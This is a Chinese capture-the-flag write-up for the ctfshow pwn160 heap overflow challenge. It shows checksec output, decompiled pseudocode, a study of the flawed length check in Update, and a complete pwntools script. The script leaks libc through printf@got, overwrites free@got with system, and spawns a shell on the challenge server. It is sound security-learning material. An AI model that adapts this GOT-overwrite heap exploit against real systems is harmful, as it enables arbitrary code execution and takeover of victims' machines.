CTFshow-pwn160
[!NOTE]
堆溢出
- 远程环境:Ubuntu 16.04
暑假了,熬人的期末周终于熬完了~ NSSCTF 靶场刷题先稍微暂停,刷一刷 ctfshow 巩固一下堆的基础吧~
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
先来检查一下二进制文件保护,发现 got 表可改
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn160
[*] '/home/niuyingying/ctf/pwn/pwn160'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
接下来看一下 ida 中的伪代码,发现需要改一改函数名,程序大致流程如下
unsigned int menu()
{
unsigned int result; // eax
unsigned int v1; // [esp+Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
result = __readgsdword(0x14u) ^ v1;
if ( result )
sub_8048EF0();
return result;
}
void __cdecl __noreturn main(int a1)
{
int v1; // [esp+2h] [ebp-14h] BYREF
_DWORD v2[4]; // [esp+6h] [ebp-10h] BYREF
v2[2] = &a1;
v2[1] = __readgsdword(0x14u);
init_1();
alarm(0x14u);
init_2();
while ( 1 )
{
menu();
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", v2);
Add(v2[0]);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
Delete(LOBYTE(v2[0]));
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
Display(LOBYTE(v2[0]));
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", v2);
Update(LOBYTE(v2[0]));
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)index > 0x31u )
{
puts("MAX,see you~");
exit(0);
}
}
exit(1);
}
_DWORD *__cdecl Add(size_t size)
{
_DWORD *result; // eax
void *s; // [esp+14h] [ebp-14h]
_DWORD *v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
s = malloc(size);
memset(s, 0, size);
v3 = malloc(0x80u);
memset(v3, 0, 0x80u);
*v3 = s; // 把 s 指针存入 v3 开头的 4 字节
dword_804B080[(unsigned __int8)index] = v3;
printf("name: ");
Read(dword_804B080[(unsigned __int8)index] + 4, 124);
Update((unsigned __int8)index++);
result = v3;
if ( __readgsdword(0x14u) != v4 )
sub_8048EF0();
return result;
}
unsigned int __cdecl Delete(unsigned __int8 a1)
{
unsigned int result; // eax
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)index && dword_804B080[a1] )
{
free(*(void **)dword_804B080[a1]);
free((void *)dword_804B080[a1]);
dword_804B080[a1] = 0;
}
result = __readgsdword(0x14u) ^ v2;
if ( result )
sub_8048EF0();
return result;
}
unsigned int __cdecl Display(unsigned __int8 a1)
{
unsigned int result; // eax
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)index && dword_804B080[a1] )
{
printf("name: %s\n", dword_804B080[a1] + 4);
printf("description: %s\n", *(_DWORD *)dword_804B080[a1]);
}
result = __readgsdword(0x14u) ^ v2;
if ( result )
sub_8048EF0();
return result;
}
unsigned int __cdecl Update(unsigned __int8 a1)
{
unsigned int result; // eax
int v2; // [esp+18h] [ebp-10h] BYREF
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)index && dword_804B080[a1] )
{
v2 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v2);
if ( *(_DWORD *)dword_804B080[a1] + v2 >= (unsigned int)(dword_804B080[a1] - 4) )
{
puts("Wtf?");
exit(1);
}
printf("text: ");
Read(*(char **)dword_804B080[a1], v2 + 1);
}
result = __readgsdword(0x14u) ^ v3;
if ( result )
sub_8048EF0();
return result;
}
发现 Update 函数存在漏洞, *(_DWORD *)dword_804B080[a1] + v2 < (unsigned int)(dword_804B080[a1] - 4) 释放 0 号后再申请 size=0x80 的 2 号,其 s 会复用 0 号 v3 ,此时 Update(2) 的可写范围就会覆盖 1 号
那么大致思路就是第一次溢出让 idx1.description = printf@got ,用 Display(1) 泄露 libc,第二次溢出让 idx1.description = free@got 再 Update(1) 往 free@got 写 system ,最后 Delete(2) 此时 free("/bin/sh") 已经变成了 system("/bin/sh")
攻击脚本如下:
from pwn import *
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn160')
libc = ELF('./libc-2.23.so')
# io = process('./pwn160')
io = remote("pwn.challenge.ctf.show",28154)
# io = gdb.debug('./pwn160', gdbscript='set pagination off\nb *0x08048AD2\nb *0x08048B73\nb *0x08048C14\nb *0x08048E22\nc')
# io = gdb.debug(
# './pwn160',
# gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# b *0x08048AD2
# b *0x08048B73
# b *0x08048C14
# b *0x08048E22
# c
# '''
# )
def Add(size,name,length,text):
io.recvuntil(b"Action: ")
io.sendline(b"0")
io.recvuntil(b"size of description: ")
io.sendline(str(size).encode())
io.recvuntil(b"name: ")
io.sendline(str(name).encode())
io.recvuntil(b"text length: ")
io.sendline(str(length).encode())
io.recvuntil(b"text: ")
io.sendline(text)
def Delete(i):
io.recvuntil(b"Action: ")
io.sendline(b"1")
io.recvuntil(b"index: ")
io.sendline(str(i).encode())
def Display(i):
io.recvuntil(b"Action: ")
io.sendline(b"2")
io.recvuntil(b"index: ")
io.sendline(str(i).encode())
def Update(i,length,text):
io.recvuntil(b"Action: ")
io.sendline(b"3")
io.recvuntil(b"index: ")
io.sendline(str(i).encode())
io.recvuntil(b"text length: ")
io.sendline(str(length).encode())
io.recvuntil(b"text: ")
io.sendline(text)
def Exit():
io.recvuntil(b"Action: ")
io.sendline(b"4")
Add(0x20,0,0x20,b"aaaa")
Add(0x20,1,0x20,b"bbbb")
Delete(0)
printf_got = elf.got['printf']
free_got = elf.got['free']
payload1 = b"/bin/sh\x00" + b"\x00" * (0x80 - 4) + p32(0x29) + b"\x00" * (0x20 + 4) + p32(0x89) + p32(printf_got) + p32(0x31)
Add(0x80,2,0xB8,payload1)
Display(1)
io.recvuntil(b"name: 1\n")
io.recvuntil(b"description: ")
leak = u32(io.recv(4))
print(hex(leak))
libc_base = leak - libc.symbols['printf']
print(hex(libc_base))
system_addr = libc_base + libc.symbols['system']
payload2 = b"/bin/sh\x00" + b"\x00" * (0x80 - 4) + p32(0x29) + b"\x00" * (0x20 + 4) + p32(0x89) + p32(free_got) + p32(0x31)
Update(2,0xB8,payload2)
Update(1,4,p32(system_addr))
Delete(2)
io.interactive()

浙公网安备 33010602011771号